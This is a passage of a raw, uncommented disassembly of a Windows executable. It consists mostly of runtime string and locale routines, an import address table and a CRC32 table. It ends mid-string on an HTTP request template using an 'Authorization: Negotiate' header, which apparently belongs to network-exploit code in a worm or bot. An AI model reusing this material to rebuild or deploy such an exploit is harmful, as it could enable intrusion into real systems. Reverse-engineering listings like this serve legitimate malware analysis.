ptr [ecx], 2Dh inc ecx neg esi jmp short loc_42668C ; --------------------------------------------------------------------------- loc_426689: ; CODE XREF: sub_42666F+Dj mov esi, [ebp+arg_0] loc_42668C: ; CODE XREF: sub_42666F+18j mov edi, ecx loc_42668E: ; CODE XREF: sub_42666F+43j mov eax, esi xor edx, edx div [ebp+arg_8] mov eax, esi mov ebx, edx xor edx, edx div [ebp+arg_8] cmp ebx, 9 mov esi, eax jbe short loc_4266AA add bl, 57h jmp short loc_4266AD ; --------------------------------------------------------------------------- loc_4266AA: ; CODE XREF: sub_42666F+34j add bl, 30h loc_4266AD: ; CODE XREF: sub_42666F+39j mov [ecx], bl inc ecx test esi, esi ja short loc_42668E and byte ptr [ecx], 0 dec ecx loc_4266B8: ; CODE XREF: sub_42666F+55j mov dl, [edi] mov al, [ecx] mov [ecx], dl mov [edi], al dec ecx inc edi cmp edi, ecx jb short loc_4266B8 pop edi pop esi pop ebx pop ebp retn sub_42666F endp ; =============== S U B R O U T I N E ======================================= sub_4266CB proc near ; CODE XREF: sub_4175C4+E2p ; sub_4175C4+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp dword_4D97D0, 0 push ebx jnz short loc_426711 mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_4266DD: ; CODE XREF: sub_4266CB+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_4266EF cmp bx, 41h jb short loc_4266EF add ebx, 20h loc_4266EF: ; CODE XREF: sub_4266CB+19j ; sub_4266CB+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_426701 cmp ax, 41h jb short loc_426701 add eax, 20h loc_426701: ; CODE XREF: sub_4266CB+2Bj ; sub_4266CB+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_426741 cmp bx, ax jz short loc_4266DD jmp short loc_426741 ; --------------------------------------------------------------------------- loc_426711: ; CODE XREF: sub_4266CB+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_42671B: ; CODE XREF: sub_4266CB+72j mov ax, [esi] inc esi push eax inc esi call sub_42687C mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_42687C pop ecx test bx, bx pop ecx jz short loc_42673F cmp bx, ax jz short loc_42671B loc_42673F: ; CODE XREF: sub_4266CB+6Dj pop edi pop esi loc_426741: ; CODE XREF: sub_4266CB+3Dj ; sub_4266CB+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_4266CB endp ; =============== S U B R O U T I N E ======================================= sub_42674B proc near ; CODE XREF: ___:00426763p mov dword ptr [ecx], offset off_427D30 mov ecx, [ecx+4] test ecx, ecx jz short locret_42675F push ecx call sub_41BA31 pop ecx locret_42675F: ; CODE XREF: sub_42674B+Bj retn sub_42674B endp ; --------------------------------------------------------------------------- loc_426760: ; DATA XREF: ___:off_427D30o push esi mov esi, ecx call sub_42674B test byte ptr [esp+8], 1 jz short loc_426776 push esi call sub_41D3EF pop ecx loc_426776: ; CODE XREF: ___:0042676Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_42677C: ; DATA XREF: ___:off_427D38o push esi mov esi, ecx call sub_42681F test byte ptr [esp+8], 1 jz short loc_426792 push esi call sub_41D3EF pop ecx loc_426792: ; CODE XREF: ___:00426789j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_426798 proc near ; CODE XREF: sub_4263DE+1Dp ; sub_4264B0+1Dp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D38 push dword ptr [edi] call sub_41B960 inc eax push eax call sub_41D735 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_4267C7 push dword ptr [edi] push eax call sub_41C620 pop ecx pop ecx loc_4267C7: ; CODE XREF: sub_426798+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_426798 endp ; =============== S U B R O U T I N E ======================================= sub_4267D5 proc near ; CODE XREF: sub_4264F8+16p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D38 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_426812 push dword ptr [edi+4] call sub_41B960 inc eax push eax call sub_41D735 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_426818 push dword ptr [edi+4] push eax call sub_41C620 pop ecx pop ecx jmp short loc_426818 ; --------------------------------------------------------------------------- loc_426812: ; CODE XREF: sub_4267D5+16j mov eax, [edi+4] mov [esi+4], eax loc_426818: ; CODE XREF: sub_4267D5+2Ej ; sub_4267D5+3Bj mov eax, esi pop edi pop esi retn 4 sub_4267D5 endp ; =============== S U B R O U T I N E ======================================= sub_42681F proc near ; CODE XREF: sub_42639A+16j ; ___:0042677Fp ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_427D38 jz short locret_426834 push dword ptr [ecx+4] call sub_41D3EF pop ecx locret_426834: ; CODE XREF: sub_42681F+Aj retn sub_42681F endp ; =============== S U B R O U T I N E ======================================= sub_426835 proc near ; DATA XREF: ___:00427D3Co mov eax, [ecx+4] test eax, eax jnz short locret_426841 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_426841: ; CODE XREF: sub_426835+5j retn sub_426835 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426842 proc near ; CODE XREF: sub_426453+37p ; sub_42657A+3Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_427D58 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] nop call near ptr 264135Bh pop edi pop esi leave retn 8 sub_426842 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42687C proc near ; CODE XREF: sub_4266CB+56p ; sub_4266CB+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_42688E or ax, ax leave retn ; --------------------------------------------------------------------------- loc_42688E: ; CODE XREF: sub_42687C+Bj cmp dword_4D97D0, 0 jnz short loc_4268A8 cmp ax, 41h jb short locret_4268EF cmp ax, 5Ah ja short locret_4268EF add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_4268A8: ; CODE XREF: sub_42687C+19j cmp ax, 100h jnb short loc_4268C2 push 1 push eax call sub_426B2A pop ecx test eax, eax pop ecx jnz short loc_4268C2 mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_4268C2: ; CODE XREF: sub_42687C+30j ; sub_42687C+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push dword_4D97D0 call sub_4268F1 add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_4268EF mov ax, [ebp+var_2] locret_4268EF: ; CODE XREF: sub_42687C+1Fj ; sub_42687C+25j ... leave retn sub_42687C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4268F1 proc near ; CODE XREF: sub_42687C+5Fp var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427D78 push offset sub_4233C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp dword_4D9A24, esi jnz short loc_426967 push esi push esi push 1 pop ebx push ebx push offset dword_427908 mov edi, 100h push edi push esi call near ptr 2630000h nop test eax, eax jz short loc_426945 mov dword_4D9A24, ebx jmp short loc_426967 ; --------------------------------------------------------------------------- loc_426945: ; CODE XREF: sub_4268F1+4Aj push esi push esi push ebx push offset word_4C91BC push edi push esi nop call near ptr 2640000h test eax, eax jz loc_426AE6 mov dword_4D9A24, 2 loc_426967: ; CODE XREF: sub_4268F1+2Ej ; sub_4268F1+52j cmp [ebp+arg_C], esi jle short loc_42697C push [ebp+arg_C] push [ebp+arg_8] call sub_426AFA pop ecx pop ecx mov [ebp+arg_C], eax loc_42697C: ; CODE XREF: sub_4268F1+79j mov eax, dword_4D9A24 cmp eax, 1 jnz short loc_4269A3 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2630000h nop jmp loc_426AE8 ; --------------------------------------------------------------------------- loc_4269A3: ; CODE XREF: sub_4268F1+93j cmp eax, 2 jnz loc_426AE6 cmp [ebp+arg_18], esi jnz short loc_4269B9 mov eax, dword_4D97E0 mov [ebp+arg_18], eax loc_4269B9: ; CODE XREF: sub_4268F1+BEj push esi push esi push esi push esi push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 28310EEh mov [ebp+var_20], eax cmp eax, esi jz loc_426AE6 mov [ebp+var_4], esi add eax, 3 and al, 0FCh call sub_41C2A0 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_1C], eax jmp short loc_4269FF ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi mov [ebp+var_1C], esi loc_4269FF: ; CODE XREF: sub_4268F1+100j or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_1C], esi jz loc_426AE6 push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] call near ptr 28310EEh nop test eax, eax jz loc_426AE6 push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2640000h mov edi, eax mov [ebp+var_2C], edi cmp edi, esi jz loc_426AE6 mov [ebp+var_4], 1 add eax, 3 and al, 0FCh call sub_41C2A0 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_426A82 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+var_2C] loc_426A82: ; CODE XREF: sub_4268F1+17Dj cmp ebx, esi jz short loc_426AE6 push edi push ebx push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2640000h test eax, eax jz short loc_426AE6 test byte ptr [ebp+arg_4+1], 4 jz short loc_426AC0 mov eax, [ebp+arg_14] cmp eax, esi jz short loc_426AE2 cmp eax, edi jl short loc_426AB1 mov eax, edi loc_426AB1: ; CODE XREF: sub_4268F1+1BCj push eax push ebx push [ebp+arg_10] call sub_41BD70 add esp, 0Ch jmp short loc_426AE2 ; --------------------------------------------------------------------------- loc_426AC0: ; CODE XREF: sub_4268F1+1B1j cmp [ebp+arg_14], esi jnz short loc_426AC9 push esi push esi jmp short loc_426ACF ; --------------------------------------------------------------------------- loc_426AC9: ; CODE XREF: sub_4268F1+1D2j push [ebp+arg_14] push [ebp+arg_10] loc_426ACF: ; CODE XREF: sub_4268F1+1D6j push edi push ebx push 1 push [ebp+arg_18] call near ptr 2700000h nop mov edi, eax cmp edi, esi jz short loc_426AE6 loc_426AE2: ; CODE XREF: sub_4268F1+1B8j ; sub_4268F1+1CDj mov eax, edi jmp short loc_426AE8 ; --------------------------------------------------------------------------- loc_426AE6: ; CODE XREF: sub_4268F1+66j ; sub_4268F1+B5j ... xor eax, eax loc_426AE8: ; CODE XREF: sub_4268F1+ADj ; sub_4268F1+1F3j lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4268F1 endp ; =============== S U B R O U T I N E ======================================= sub_426AFA proc near ; CODE XREF: sub_4268F1+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_426B19 loc_426B0A: ; CODE XREF: sub_426AFA+1Dj cmp word ptr [eax], 0 jz short loc_426B19 inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_426B0A loc_426B19: ; CODE XREF: sub_426AFA+Ej ; sub_426AFA+14j cmp word ptr [eax], 0 pop esi jnz short loc_426B27 sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_426B27: ; CODE XREF: sub_426AFA+24j mov eax, edx retn sub_426AFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426B2A proc near ; CODE XREF: sub_42687C+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_426B6A cmp [ebp+arg_0], 100h jnb short loc_426B4E movzx eax, [ebp+arg_0] mov ecx, off_43A684 mov ax, [ecx+eax*2] jmp short loc_426B71 ; --------------------------------------------------------------------------- loc_426B4E: ; CODE XREF: sub_426B2A+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_426B7C add esp, 18h test eax, eax jnz short loc_426B6E loc_426B6A: ; CODE XREF: sub_426B2A+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_426B6E: ; CODE XREF: sub_426B2A+3Ej mov eax, [ebp+var_4] loc_426B71: ; CODE XREF: sub_426B2A+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_426B2A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426B7C proc near ; CODE XREF: sub_426B2A+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427D90 push offset sub_4233C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4D9A28 xor edi, edi cmp eax, edi jnz short loc_426BEB lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427908 push esi call near ptr 260055Fh nop test eax, eax jz short loc_426BC9 mov eax, esi jmp short loc_426BE6 ; --------------------------------------------------------------------------- loc_426BC9: ; CODE XREF: sub_426B7C+47j lea eax, [ebp+var_1C] push eax push esi push offset word_4C91BC push esi push edi nop call near ptr 2610000h test eax, eax jz loc_426D2D push 2 pop eax loc_426BE6: ; CODE XREF: sub_426B7C+4Bj mov dword_4D9A28, eax loc_426BEB: ; CODE XREF: sub_426B7C+2Fj cmp eax, 1 jnz short loc_426C07 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 260055Fh jmp loc_426D2F ; --------------------------------------------------------------------------- loc_426C07: ; CODE XREF: sub_426B7C+72j cmp eax, 2 jnz loc_426D2D cmp [ebp+arg_10], edi jnz short loc_426C1D mov eax, dword_4D97E0 mov [ebp+arg_10], eax loc_426C1D: ; CODE XREF: sub_426B7C+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] call near ptr 28310EEh nop mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_426D2D mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_41C2A0 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_41BD10 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_426C7B ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_426C7B: ; CODE XREF: sub_426B7C+EAj cmp [ebp+var_2C], edi jz loc_426D2D push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] call near ptr 28310EEh nop test eax, eax jz loc_426D2D mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_41C2A0 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_426CD0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_426CD0: ; CODE XREF: sub_426B7C+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_426D2D mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_426CE4 mov eax, dword_4D97D0 loc_426CE4: ; CODE XREF: sub_426B7C+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax call near ptr 2610000h nop mov [ebp+var_20], eax cmp word ptr [esi-2], 0FFFFh jz short loc_426D2D cmp word ptr [esi], 0FFFFh jnz short loc_426D2D push edi push ebx push [ebp+arg_C] call sub_41D400 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_426D2F ; --------------------------------------------------------------------------- loc_426D2D: ; CODE XREF: sub_426B7C+61j ; sub_426B7C+8Ej ... xor eax, eax loc_426D2F: ; CODE XREF: sub_426B7C+86j ; sub_426B7C+1AFj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426B7C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_426D44 proc near ; DATA XREF: ___:00427F44o ; FUNCTION CHUNK AT 0040D75D SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40D75D sub_426D44 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_426D62 mov ecx, [ebp+8] jmp loc_40D75D ; --------------------------------------------------------------------------- locret_426D62: ; CODE XREF: ___:00426D54j retn ; --------------------------------------------------------------------------- loc_426D63: ; DATA XREF: sub_40D327o mov eax, offset dword_427F18 jmp loc_41D08B ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+14h] jmp loc_40D75D ; --------------------------------------------------------------------------- loc_426D78: ; DATA XREF: ___:00427F74o lea ecx, [ebp-1Ch] jmp loc_40D75D ; --------------------------------------------------------------------------- loc_426D80: ; DATA XREF: sub_40D4C9o mov eax, offset dword_427F48 jmp loc_41D08B ; --------------------------------------------------------------------------- align 4 loc_426D8C: ; DATA XREF: sub_40DA40o mov eax, offset dword_427F78 jmp loc_41D08B ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_42681F ; --------------------------------------------------------------------------- loc_426D9E: ; DATA XREF: sub_4263DEo mov eax, offset dword_427FD8 jmp loc_41D08B ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D75D ; --------------------------------------------------------------------------- loc_426DB0: ; DATA XREF: sub_426453o mov eax, offset dword_428070 jmp loc_41D08B ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_42681F ; --------------------------------------------------------------------------- loc_426DC2: ; DATA XREF: sub_4264B0o mov eax, offset dword_428094 jmp loc_41D08B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_42681F ; --------------------------------------------------------------------------- loc_426DD4: ; DATA XREF: sub_4264F8o mov eax, offset dword_4280B8 jmp loc_41D08B ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D75D ; --------------------------------------------------------------------------- loc_426DE6: ; DATA XREF: sub_42657Ao mov eax, offset dword_428118 jmp loc_41D08B ; --------------------------------------------------------------------------- dd 84h dup(0) dd 25C0000h, 25D0000h, 25E0000h, 25E05FEh, 25F0000h, 25F0AEDh dd 2600000h, 2600506h, 260055Fh, 2610000h, 26107CAh, 2610C72h dd 2620000h, 26207DDh, 26209AEh dword_42703C dd 26209CCh ; DATA XREF: ___:004230E1r dd 2620A7Eh, 2620C55h, 2620C88h, 2620D63h, 2630000h, 2640000h dd 264100Eh, 264135Bh, 2641986h, 26419ABh, 2650000h, 265071Ah dd 2650B77h, 77E75CB5h dword_427078 dd 2660000h ; DATA XREF: sub_40111D+B8r ; ___:004014F9r ... dd 26603BDh, 2670000h, 2680000h dword_427088 dd 268051Bh ; DATA XREF: sub_40111D+29r ; sub_40C3D3+2E5r ... dword_42708C dd 26805C5h ; DATA XREF: ___:004015DCr ; sub_411694+32r dd 26807FFh dword_427094 dd 2680883h ; DATA XREF: sub_419BAA+B9r dd 2680D91h dword_42709C dd 2680DCDh ; DATA XREF: sub_4119B7:loc_411A48r dword_4270A0 dd 2690000h ; DATA XREF: ___:loc_4013D9r dd 2690408h, 269058Ah dword_4270AC dd 26906BCh ; DATA XREF: sub_4098FD+2r dd 2690830h, 26A0000h dword_4270B8 dd 26A0729h ; DATA XREF: ___:0040124Dr ; sub_41A9BC+8Cr dword_4270BC dd 26A07C0h ; DATA XREF: sub_411694:loc_411780r dd 26B0000h, 26B0B7Eh dword_4270C8 dd 26B0C73h ; DATA XREF: sub_4098FD:loc_409E0Br dword_4270CC dd 26C0000h ; DATA XREF: sub_4098FD+11r ; sub_417269+60r ... dd 26D0000h, 26E0000h, 26E0636h, 26F0000h, 77F7E300h, 77F7E21Fh dd 26F05B2h, 26F0716h dword_4270F0 dd 2700000h ; DATA XREF: sub_419134+Fr ; sub_41DFD4+54r ... dword_4270F4 dd 2710000h ; DATA XREF: sub_4119B7+Br dd 2720000h, 2730000h dword_427100 dd 27306D8h ; DATA XREF: sub_418791+36r dd 27309E0h, 2730D36h, 2740000h dword_427110 dd 2740594h ; DATA XREF: sub_4118DE+3Ar ; sub_41A152+79r dword_427114 dd 2750000h ; DATA XREF: sub_4117E5+23r ; sub_41A152+3Br ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 14h, 75h, 2 dd 2760000h, 2760AD0h, 2770000h, 2770503h, 2780000h, 2790000h dd 2791104h, 2791C50h, 27A0000h, 27A007Bh, 27A018Bh, 27A0486h dd 27B0000h, 27B0737h dword_427154 dd 27C0000h ; DATA XREF: sub_417269+BCr dd 27C0620h dword_42715C dd 27D0000h ; DATA XREF: sub_41743B+21r ; sub_4175C4+4Ar dword_427160 dd 27D08F7h ; DATA XREF: sub_41743B+10r ; sub_4175C4+40r ... dd 27D095Eh dword_427168 dd 27D0BA6h ; DATA XREF: sub_4175C4+56r dd 27E0000h, 27F0000h, 2800000h, 28005BFh, 2800B44h, 2810000h dd 281012Ah, 281070Dh, 2820000h, 2830000h dword_427194 dd 28310EEh ; DATA XREF: sub_419062+13r ; ___:00423156r ... dd 2840000h, 28404DFh, 2840987h, 2850000h, 2860000h, 2870000h dd 28721CCh, 2880000h, 2890000h, 28A0000h, 28A1A62h, 28A1AAAh dd 28A1C3Fh, 28B0000h dword_4271D0 dd 28B0518h ; DATA XREF: sub_41E4A2+23Fr align 8 retf ; --------------------------------------------------------------------------- db 0ACh, 0B2h, 71h align 10h dd 71AB4122h dword_4271E4 dd 71AB1746h ; DATA XREF: sub_4131AA+1DEr dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah dd 71AB3ECEh, 71AB5A01h, 71AB868Dh, 71AB12F8h, 71AB1746h dd 71AB3E5Dh dword_427214 dd 71AB5690h ; DATA XREF: sub_40E9CB+6Ar dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh dd 71AB157Eh, 71AB5DE2h, 0 dword_427238 dd 0 ; DATA XREF: sub_401070+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dword_427638 dd 2Eh ; DATA XREF: sub_401AC7+3448o ; sub_401AC7+3527o ... dword_42763C dd 2Eh ; DATA XREF: sub_401AC7+3857o ; sub_401AC7+3897o ... aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D4C9+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate 